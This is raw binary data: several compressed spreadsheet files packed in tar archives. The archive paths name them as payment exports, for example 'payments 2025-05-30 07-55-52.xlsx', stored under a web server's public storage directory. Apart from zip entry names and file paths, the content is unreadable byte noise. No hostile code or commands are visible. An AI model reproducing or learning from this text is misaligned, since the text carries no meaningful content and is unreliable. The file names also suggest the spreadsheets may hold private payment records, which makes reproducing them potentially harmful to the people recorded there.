n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK2a�Z灮k,xl/sharedStrings.xmlSV�W�NA��SL��W]wvY-�E�&�o��VIdAv1�b�M4!�&mL[��M��u�����+�IzWf��P
e��9���7d���ɦUq
%;��sT!��\Z)ثY������+���me�w��,�e�%p������EMs�׬bޙ+�-Oޔ*ż���U�)W����fYnq]3(�׊�����]بZ�JU��*iS�e�B.��X��1���`׼NX���9k�6��%k�]��	�.^��F��>e?��k,`g����m�N�
���L3���h"U?�	��c��'��E��_F��*���#���8RԤ�P��
/�H�4�Ɉ�v�$5֜����z:2�C��Z���t�����r��5�9Czp�E �H�$r�|�ӻ��iU��Ѥi�	.���(����*WR�F��a���?�a�*5�0�bX�)b��&A��wb6�-���3����J�!tѐ�U]f�4����gX��n=��Cffx!���^C�&�$3<',�Ib
��јz�l�Cjr��N�d�6�&d��פ��OTb}��F�r���SR���f�tg�8�d�	1�xP6R„ʞ7�-�t��9�16�1�5�^���1��6?�2�I�OXgg����?T[�	Fm,��}�����^�Ѯ�����}(����`aK0G��<W'��̻�aԁ��l�#���s�1�)n6��?����̣�av�
ʯ��ȻO��n� BA��C]�Y�2z�|�{�\r�,$P~�`"�DD~��;L0t�X�~����m�*-��k�7x]
��.�s+��c`��f(K\Dä���?%�_��OvE�p��G�.�gQɈ��h&�ƂP
?�r�PK2a�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK2a�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK2a�Zl��t��-xl/worksheets/sheet1.xmlSV��[w�8��Sp�>�U�s����I'���}�{w�	�cNc��|�;�T<ٗĨ�*�G!�����͝'Y�YY\L�t>qd����x������o�ĩUR���,���U֓�/�u�\V�ꍔ����]�j㮒����i,��F���lV��M�i������j�(}X=�j퓬�H�|�y0�&Y�G8�N�Q��Y*e���BuA*�'J���d���euR�U�<���ctq�Y��g��fiU��ZM�r�w�e<��8_���/���MO�6�~�w��p;��!�3��ƚ8���(��!��Q�+I�A&v�Ӈ�#]��m�*g��JV�+�E�r���Rﷺ�W2/�ۡ�{��QM���|և�<_e�R75�Tr}1�$�p��)����sm�vT��C�2Ur��n���,5�{ݤ��ޔϟ�l�EwGW����k�^>_�����K�^�B:/?v��ě8�o?U��"��Z���Ɵ8I��'�-in��R�rێ����n[W�߲h���Ӯ=[��N�u��L��>Oׁ�C��[f���H�}�wۖ��<+�N���0�dE��o��'�o���itM�N��y�u���j\]t�K��9[���ći��A���]�t_�՝�_�ڔ�!l��zǀ����
��c@7��s��=���[@
�LJ�÷!ϧ����b
��q0>��,�}��ǡ��4�����R�Ub4�<����u�=(�\�W峣�8���7f3y��f�H�֫����t�Z�>]���	ԟ��N��S��)3����������)�yJ@�ѝ�F�ם·{�
��gwq�+��oȑ^۫�<E�Sn��oMcc�gd���Cl�GFBr���J����0a��Y"�i$�6m�4�'��|N�ޘ�@|oM� �Ϧ�'��/�{��G��A�~{k��a�f!$�i$7�5r$][�"p� �$a��`0ԺD�Ad���a�����e�05m>��Eh0�,�!�4�"Or[߅Ӱm%�!�E��F�L#��%ܮL� �µi�ɜ����5�FԈ��#j4TK��RE�F���Tcn�9���'U��
�`Ϡ1�5�"#�3X㮣k�a�O��,Ȇ�6�o}!i���>���'��6!�p‰)[d��b+��#��H��0r��(q��!l� !��G�4����&4S���KW�j,`��E�DN`a���0�nHq��4�t-/���,<�X���':-���l���0������p�lu�|u�lu�,N����r8��K�d�tO��G��0U���մ�E2�t�*�w&X�-X�%lZ]�f$��.qBJ�4�,aň�H�Х�Z���.c�W�
yS
*8�$z�D��ɂ��g#�I �d=��>G��݃0���
rv-H���n���{5����#BI�!A�֓$䑄,NȈppY"'Ih#�.�\�{�M�R$�H���G�H8":""�$�n%�Y1r+�H�jl��L�kM8�;N�P����֌�).�8!%��#S:��@�{�(AVJ]�(�wD	��XQ�3S�����NB'$��Q#��8��d�#W�8�a�,�XU�3[�9U�*�JpBJX�R�#:�N��"l
�;���aV�`_��
8��P*TpBJN!<"]I�FY-�ȕ���}�0�]��.�j�N��;xI�8!%|�v��h�o�Üv���e&��]��.�j�٪aN�@�	�j��8FxD�R	t
�x��֗I�m�B�~������S>�u	��ƱibD���4�}9®�4�S���'�~=��p�	Z�=`���
	Ft�)�,��(�j�������ٚ$�OI�J_!�� �Y��i0�o�*$e���M	[�Kz�x�K�����aN�A4��X�q	[��h:@�P(�+a�hUp���Ow��2�WK�dUal�	pG$�;g���s�CSL���A�b�b�s9��'�˸�˩'d��23�%{U޶�"����Y�gaWe���k7�:�o;�I^��[����H�S�(�L��L��r�-��n�^�[���W����'x8ڴ[�#��[��:�qu����%;Y��n7p:e��B�;m/&�A}Ҥ��������q�`��҇M�U�wU>?7���$�&gן۶#�*[�e�s}]�n�dq�p4�fU���m���fQ���ZI�=M[O�o�</W�n��4�o����5~K��x�y�>:��kGt���	��\5{s�%����������PK2a�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK2a�ZG�D�Z� [Content_Types].xmlPK2a�Z�78�K �_rels/.relsPK2a�Z�$�V�� �xl/_rels/workbook.xml.relsPK2a�Zad���E �docProps/app.xmlPK2a�Z*+�(r �docProps/core.xmlPK2a�Zs�{Y�� 'xl/theme/theme1.xmlPK2a�Z灮k, 
xl/sharedStrings.xmlPK2a�Z�A	�
 �xl/styles.xmlPK2a�Z�U���v �xl/workbook.xmlPK2a�Zl��t��- 
xl/worksheets/sheet1.xmlPK2a�Z�KR"x�# Cxl/worksheets/_rels/sheet1.xml.relsPK�PK!B8��$$,3s58b1/payments 2025-05-30 07-55-52.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-30 07-55-52.xlsx000075500000016014000000000000020151 0ustar00PK�>�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK�>�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK�>�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK�>�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK�>�Zn�rdocProps/core.xmlSV��QO�0��K_�h�L�2f��'IL��km�P�ڦ�8���:������ӯ������U��+�gd<b$-�Tz5#/�yzC�\K^
3҂'��E!l.��'g,8T��>vFֈ6�ԋ5�܏BB�ø�c�nE-�:a�ր\r��v �=R�i���)(TP�FOǣ1=f\�<��d����g�`�WC�i�Q3��0���-�㪩�]UHYH��+_�F�F'��.��Xq����y�����5{�$��������rN�	�d)��)[��<��lr�X�X7��H��7�{��.Paa���ɳ
wJ��XGowA	^8e1<�2Zg?���O؛�m�m�����U�R�~+�����^q�
PK�>�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK�>�Z5T7�bxl/sharedStrings.xmlSV�T�N�@���Ytg옆Gj�EQ%��XɔX��3AeT�E���
h�#E-n-B�_����;�!�ج*[���{Μ����-�
� �.��Z�0ތZ_s�ϟ�EJ��y��D��t�	���8BH�P.\ږ��0M�l���Q�q�|��Зx��Lэ��m�d�1m˚7C?��x��c��.���s��0��:��S�}��;�d�<�����g?? 5cިi��)��A���gi�
CC��0�D����[�E�\��m$BEx�)o���*8�C�F�R�y_�m{�t����ɶ�a�+{�y�h���*�_�˰S��$�V��=�6�~�u����'�Wo��;Q�Q~Z`F��[5�ǩ�nJ��Ċa������X�ےA=C�?Uև���i���ĭ�,�`�#�q�<�Ȟ҅�jd_�.%0������^�EY�(�S��Q=h� o��'�e/L�Ix�PK�>�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK�>�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK�>�Z@5W;��xl/worksheets/sheet1.xmlSV�W�r�8}߯�x0�lOM.N2�TRIv�Ya����K��u�M%Ƀ#u���O��f��P�3Nh5wo�:�JiF����y�m�:\�*C���}����k���o0Ly�RP�s�vؕŠ�ݍ��y��%��q���	����a
�RY��`��%"�A���`�<')���ĕ� H@L|Cjޠ��e�!�����i��
^IRF9ͅ��Ҹ�6ʉ?��y(?�)>AS�~$���m�
�j�fE
"^����f]Q�V��B�$z��0i1S���������nEA*�-���3\н�5�G��)�3�,f�T˚u���`z�He��{n��VO�������Ż��E*o@E�7t�Hv�@�
��Z�H�紸���h�kTa��Ts7r���P����ܽ�]�����ggE���
H*���?�R�+eH��(mzB���N��5�h�C�i��b�"9*i��
wKU;���h[���tDDk�w�w�x�ite@���F)-��uJ��*�=��f�c/�{+��R��3�n9��[ۘ��WY�
��`�Co2}0��0n�co4���ab�#`셣�x���1�'_��0��q�e�������(�2^00�r��4� �2h!co�}]�@-f��xn�>x�cLy{�Rz&��.�
8Hw�p8�wȘ\h��6IZ��=���*����{�k��m���&�R�(F���I7~D6z�E?�(��w��W��J,�`�5����r�Q��ʫ�2�*�;�]7e��e/߷ex��4�v�=�le/����>ñaX*'��z����K[�����r�q�Gnl�/��������:�6��i�Z��Y����z�C8:�ӣI���
f��C����q��CbbH��IL�!19��[��
�T=�i���f���j������Q���l%O��a�"�ƿ[XS@sw�w;�=�CW�F�!VmN3ۨM����)����F���'�G��e>�w��5M�+E�Z���D<Ӷ�1s��T�3�oF���W��1%��,�#NF�3��>�.w�jyhK¸h�ʅ�DlࣦymPA֕���z�,��)���P������5�'r�.�'�t�]ҙ�I��;�	X̄��x@Lp'��J4�f���PK�>�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK�>�ZG�D�Z� [Content_Types].xmlPK�>�Z�78�K �_rels/.relsPK�>�Z�$�V�� �xl/_rels/workbook.xml.relsPK�>�Zad���E �docProps/app.xmlPK�>�Zn�r �docProps/core.xmlPK�>�Zs�{Y�� 'xl/theme/theme1.xmlPK�>�Z5T7�b 
xl/sharedStrings.xmlPK�>�Z�A	�
 4xl/styles.xmlPK�>�Z�U���v lxl/workbook.xmlPK�>�Z@5W;�� �xl/worksheets/sheet1.xmlPK�>�Z�KR"x�# hxl/worksheets/_rels/sheet1.xml.relsPK�%PK!8;x"",3s58b1/payments 2025-07-16 13-57-11.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-07-16 13-57-11.xlsx000075500000015626000000000000020161 0ustar00PK%o�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK%o�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK%o�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK%o�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK%o�Z�ǧsdocProps/core.xmlSV���N�0��<E�+J��GQ�J�D%$��j�mk�ؖ����q�6���S4���ݑ�پ��Op^=%و��0R�͔<��-I<r-ye4LI��ʋB�\��Xp��'�}.�lmN�[�����ڸ�c�nC-;�:f�ր\r��v �R�i?\RP����f�������ηd����g�h�WC�i�Q3��0F_�Oq�T�*�,�ȅ�ƕ�z�M��y����z���eh|�@޵��#�a�2	��2G�e2�_-H9f㫔ݤ�*��W7y�]2�3֍q9Q��M��)�TXAX-~e�dÝ�o0���]P�NYϱ��ُ����;��A��v�6�I_��N�{�a��qmo�Pg���PK%o�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK%o�Z��5�=xl/sharedStrings.xmlSV}R�J�@��,��<|�$.��~@hGh&53�i](*(���
j�/���;
>�(�$��s��Ɲ݈jd�%"��G����q%�]^Z0�(2�s��M&�?�
!	R��hU�z�4E�ʢ@��uƱ�'Q �3Y5E=aAET�Q�t,kŒ��S���Z���
.=���wE�҇+x�g�&t\S���񏚞Z���fPV�d�Q�ti|��Z#�3ІTm�X�P����� C�6�G����A)�D�v�!�r�
kҰ�sN�vj�=t���m��|��Cnq>G;�K�j��YljEu�s�k��i��T`�+=�maR]����f��w
��zԑ�!��O
/�}�==g�C�;��@.�1�aj�p]�&��=�-�K����mڅ���PK%o�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK%o�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK%o�Z��.zxl/worksheets/sheet1.xmlSV�W[s�:~?���`l����i⸹u�Ir�g��	 �$�����ɤ��$�����o�e=�z(rg�'�����s\&4%�z���2r.P����x�1w����){���^����v���3w#D5�}�lp��G+\�&��@�l�s8�R�T�~�׋��� L�G0h��/h�-p)4�9�ߐ��h��Cx)C{ȿ��
q�5
^��+H�(���Z��^g9�ǭ<�ǀ�!�'h*���U ����\ܬHN�Qa�N�L��%eh�C!/�XI���O��S%�gNFr������t+rRb��m��pN�RW�z#���O}3��J-��p6s���XZ(��﹵vZ=�'�
Z^���Ry"��|C��Io!���m�>�9�/!/x$:�
��9<V���
]���ř8�y>s/"�A� ;|���YQ!h�R�J�,c�7.U�*B�R��J���i$��m���-��?��"~!T�`�k���@mR��m.��Kl�z����-��A��זqR��s��)��8tP��$���y��[a.��L]�d�!�_��E��a5`h�0�ya�O�`d�p0����0n!�0�4���
����^�a�y��7��
>���\�!��x�yȠ�� G��C_�o��@ͧ������l�@��DJϤXu"p�A��é��@�d�M"ˤ�kL|�o|N�(���c�q�M�ɸ�6	u���F����6t܆>k);��tQ'�P��&a��u~�V.[�~[����u�R���+[١���u�pc놧�N�kߎIg���ι��Teru�.Z��CN�v=���W��>ҡ�&R�f!>�B��;,غ�QʷY��a!~����S���a!~a����
�T�����&�b�w�}���@���C�j$���m�Z���	��a����AWe�[��0�������m�d$w�*2JE�1��h[�`Ra�H~��ϡ������k� <A��=��O�6�޴_�J�;���t_>mpy?b�O�R�$�0_wiz��e�C�X�E#V!�"b?&�>�r�.��0d�0����4��ڻ�k�������us��d2��Hk�6͡��&`>r��GLp'��R����PK%o�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK%o�ZG�D�Z� [Content_Types].xmlPK%o�Z�78�K �_rels/.relsPK%o�Z�$�V�� �xl/_rels/workbook.xml.relsPK%o�Zad���E �docProps/app.xmlPK%o�Z�ǧs �docProps/core.xmlPK%o�Zs�{Y�� (xl/theme/theme1.xmlPK%o�Z��5�= 
xl/sharedStrings.xmlPK%o�Z�A	�
 �xl/styles.xmlPK%o�Z�U���v $xl/workbook.xmlPK%o�Z��.z >xl/worksheets/sheet1.xmlPK%o�Z�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK��PK!̡l"",3s58b1/payments 2025-05-28 15-24-23.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-28 15-24-23.xlsx000075500000015356000000000000020161 0ustar00PK{�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK{�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK{�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK{�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK{�Z�e�rdocProps/core.xmlSV���N�0D�|E�+J��(M%�8��D\�����m�!��i�8E�?�\.��:���s�MI@#�^����6�"�G�%���9�EuV
[���$��/���
�-(�b
����|3���[S�Ŗ���]��K����ԎD�CJ1"퇫#@

54���l��C�5���9J6
;F���j�m;i�1�����c\5U��J�J)
ဣqՓ�j��d9�y}�5�xS ����ߑr�����a���<]ެnI��|��Y�_��Y�_���~�ȁ��n�vO�]���j�+�G�~������p�bx�U�N~�?^�A�`�"t���5N�*6vP�K
�����:y��7PK{�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
